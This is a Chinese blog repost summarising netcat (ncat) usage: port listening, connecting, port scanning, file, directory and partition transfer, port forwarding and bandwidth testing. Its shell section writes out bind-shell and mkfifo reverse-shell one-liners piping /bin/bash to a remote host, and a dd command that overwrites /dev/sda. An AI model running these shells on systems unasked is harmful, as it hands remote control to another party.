ncat使用总结

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ncat使用总结相关的知识,希望对你有一定的参考价值。

功能

1. 监听本地端口
2. 连接目标端口
3. 传送文件
4. Remote Administration with Netcat(OSCP中给的分类,不知道此分类的作用,需要深入学习)
5. 反弹shell
6. 测两台机器间的网速

监听本地端口

# 临时监听端口
nc -l <PORT> # 临时监听TCP端口一次
nc -lu <PORT> # 临时监听UDP端口

# 以监听TCP端口为例,监听UDP端口基本一样

服务器端临时 监听端口
技术分享图片
客户端尝试连接服务器端
技术分享图片
建立TCP连接
技术分享图片
客户端断开连接时,服务器端也关闭端口的监听
技术分享图片

nc -lk <PORT> #永久监听TCP端口
nc -lku <PORT> #永久监听UDP端口
# 永久监听:监听端口,并且客户端端来连接时,服务器端依旧监听等待连接;并且支持多客户端同时连接。UDP端口类似。

技术分享图片

连接目标端口

# 在监听部分可以找到连接的图,接下来重点操作一下端口扫描;nc扫描端口会创建TCP三次握手连接,会造成一定的流量,容易被发现。
nc <IP> <PORT>  # 连接目标TCP端口
nc -u <IP> <PORT> # 连接目标UDP端口
# 使用上述命令连接tcp或UDP端口,连接成功后会阻塞在用户输入中,让用户与目标端口进行交互。此外还有一种非交互模式,适合用来扫描端口。
nc -z <IP> <PORT> #扫描目标TCP端口
nc -zu <IP> <PORT> # 扫描目标UDP端口
#  -w参数的适用场景:扫描UDP端口;网络状况不好。在网络状况良好是,扫描TCP端口没有必要使用此参数。
nc -z -w1 <IP> <PORT> range

技术分享图片

技术分享图片

传送文件

此部分需要两台机器的配合

A机:数据存储机器
B机:备份机器

TCP传送文件

B: nc -l <PORT> > filename
A: nc <IP> <PORT> < filename

文件传送完成后,连接自动断开

技术分享图片

UDP传送文件

#B
nc -lu <PORT> > filename

#A
nc -u <IP> <PORT> < filename

# 文件传输完成后,连接不会断开,可反复连接B机进行文件传输。

# UDP更适合做一个日志接受端,其他的机器都把通过nc把日志写入到监听的UDP机器上

技术分享图片

技术分享图片
传送目录

# 传送目录与传送文件是一样的,只是通过tar将目录打包为压缩文件传过去并自定tar解包,实现传送目录的功能
#B
nc -l <PORT> | tar zxvf -

#A
tar zcf - * | nc <IP> <PORT>

传送分区

B: nc -l <PORT> | dd of=/dev/sda
A: dd if=/dev/sda | nc <IP> <PORT>

反弹shell

# nc有-e选项时

#server
nc -l <PORT> -e /bin/bash -i

#client
nc <IP> <PORT>
# nc没有-e选项时,创建正向shell

#server
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l <PORT> > /tmp/fifo

#client
nc <IP> <PORT>
# 创建反向shell(服务器端连接客户端,然后受客户端控制)
#client: 
nc <IP> <PORT>

#server: 
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc <IP> <PORT> > /tmp/fifo && rm -rf /tmp/fifo

端口转发

# server
nc -l <target port>
mkfifo /tmp/fifo && cat /tmp/fifo | nc localhost <target port> | nc -l <listen port> > /tmp/fifo

# client
nc -n <IP> <listen port>

测机器间网速

A: nc -l <PORT> >/dev/null
B: nc <IP> <PORT> < /dev/zero

A、B:watch -n 1 "/sbin/ifconfig <interface> | grep bytes"

参考文章

以上是关于ncat使用总结的主要内容,如果未能解决你的问题,请参考以下文章

ncat的使用

BootStrap有用代码片段(持续总结)

ncat命令使用实例

ncat命令使用实例

BootStrap实用代码片段(持续总结)

为啥 ncat -exec 可以与 shell 脚本一起使用,但不能与 perl 脚本一起使用?